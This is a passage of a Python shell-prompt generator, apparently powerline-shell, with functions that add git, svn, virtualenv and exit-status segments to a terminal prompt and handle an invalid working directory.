has_untracked_files, origin_position = get_git_status() 256 | branch += origin_position 257 | if has_untracked_files: 258 | branch += ' +' 259 | 260 | bg = Color.REPO_CLEAN_BG 261 | fg = Color.REPO_CLEAN_FG 262 | if has_pending_commits: 263 | bg = Color.REPO_DIRTY_BG 264 | fg = Color.REPO_DIRTY_FG 265 | 266 | powerline.append(Segment(powerline, ' %s ' % branch, fg, bg)) 267 | return True 268 | 269 | 270 | def add_svn_segment(powerline, cwd): 271 | if not os.path.exists(os.path.join(cwd, '.svn')): 272 | return 273 | '''svn info: 274 | First column: Says if item was added, deleted, or otherwise changed 275 | ' ' no modifications 276 | 'A' Added 277 | 'C' Conflicted 278 | 'D' Deleted 279 | 'I' Ignored 280 | 'M' Modified 281 | 'R' Replaced 282 | 'X' an unversioned directory created by an externals definition 283 | '?' item is not under version control 284 | '!' item is missing (removed by non-svn command) or incomplete 285 | '~' versioned item obstructed by some item of a different kind 286 | ''' 287 | #TODO: Color segment based on above status codes 288 | try: 289 | #cmd = '"svn status | grep -c "^[ACDIMRX\\!\\~]"' 290 | p1 = subprocess.Popen(['svn', 'status'], stdout=subprocess.PIPE, 291 | stderr=subprocess.PIPE) 292 | p2 = subprocess.Popen(['grep', '-c', '^[ACDIMRX\\!\\~]'], 293 | stdin=p1.stdout, stdout=subprocess.PIPE) 294 | output = p2.communicate()[0].strip() 295 | if len(output) > 0 and int(output) > 0: 296 | changes = output.strip() 297 | powerline.append(Segment(powerline, ' %s ' % changes, 298 | Color.SVN_CHANGES_FG, Color.SVN_CHANGES_BG)) 299 | except OSError: 300 | return False 301 | except subprocess.CalledProcessError: 302 | return False 303 | return True 304 | 305 | 306 | def add_repo_segment(powerline, cwd): 307 | for add_repo_segment in (add_git_segment, add_svn_segment, 308 | add_hg_segment, add_bzr_segment): 309 | try: 310 | if add_repo_segment(p, cwd): 311 | return 312 | except subprocess.CalledProcessError: 313 | pass 314 | except OSError: 315 | pass 316 | 317 | 318 | def add_virtual_env_segment(powerline, cwd): 319 | env = os.getenv("VIRTUAL_ENV") 320 | if env is None: 321 | return False 322 | 323 | env_name = os.path.basename(env) 324 | bg = Color.VIRTUAL_ENV_BG 325 | fg = Color.VIRTUAL_ENV_FG 326 | powerline.append(Segment(powerline, ' %s ' % env_name, fg, bg)) 327 | return True 328 | 329 | 330 | def add_root_indicator(powerline, error): 331 | bg = Color.CMD_PASSED_BG 332 | fg = Color.CMD_PASSED_FG 333 | if int(error) != 0: 334 | fg = Color.CMD_FAILED_FG 335 | bg = Color.CMD_FAILED_BG 336 | powerline.append(Segment(powerline, powerline.root_indicator, fg, bg)) 337 | 338 | 339 | def get_valid_cwd(): 340 | """ We check if the current working directory is valid or not. Typically 341 | happens when you checkout a different branch on git that doesn't have 342 | this directory. 343 | We return the original cwd because the shell still considers that to be 344 | the working directory, so returning our guess will confuse people 345 | """ 346 | try: 347 | cwd = os.getcwd() 348 | except: 349 | cwd = os.getenv('PWD') # This is where the OS thinks we are 350 | parts = cwd.split(os.sep) 351 | up = cwd 352 | while parts and not os.path.exists(up): 353 | parts.pop() 354 | up = os.sep.join(parts) 355 | try: 356 | os.chdir(up) 357 | except: 358 | warn("Your current directory is invalid.") 359 | sys.exit(1) 360 | warn("Your current directory is invalid. Lowest valid directory: " + up) 361 | return cwd 362 | 363 | if __name__ == '__main__': 364 | arg_parser = argparse.ArgumentParser() 365 | arg_parser.add_argument('--cwd-only', action='store_true') 366 | arg_parser.add_argument('--mode', action='store', default='patched') 367 | arg_parser.add_argument('--shell', action='store', default='bash') 368 | arg_parser.add_argument('prev_error', nargs='?', default=0) 369 | args = arg_parser.parse_args() 370 | 371 | p = Powerline(mode=args.mode, shell=args.shell) 372 | cwd = get_valid_cwd() 373 | add_virtual_env_segment(p, cwd) 374 | #p.append(Segment(p, ' \\u ', 250, 240)) 375 | #p.append(Segment(p, ' \\h ', 250, 238)) 376 | add_cwd_segment(p, cwd, 5, args.cwd_only) 377 | add_repo_segment(p, cwd) 378 | add_root_indicator(p, args.prev_error) 379 | sys.stdout.write(p.draw()) 380 | 381 | # vim: set expandtab: 382 | --------------------------------------------------------------------------------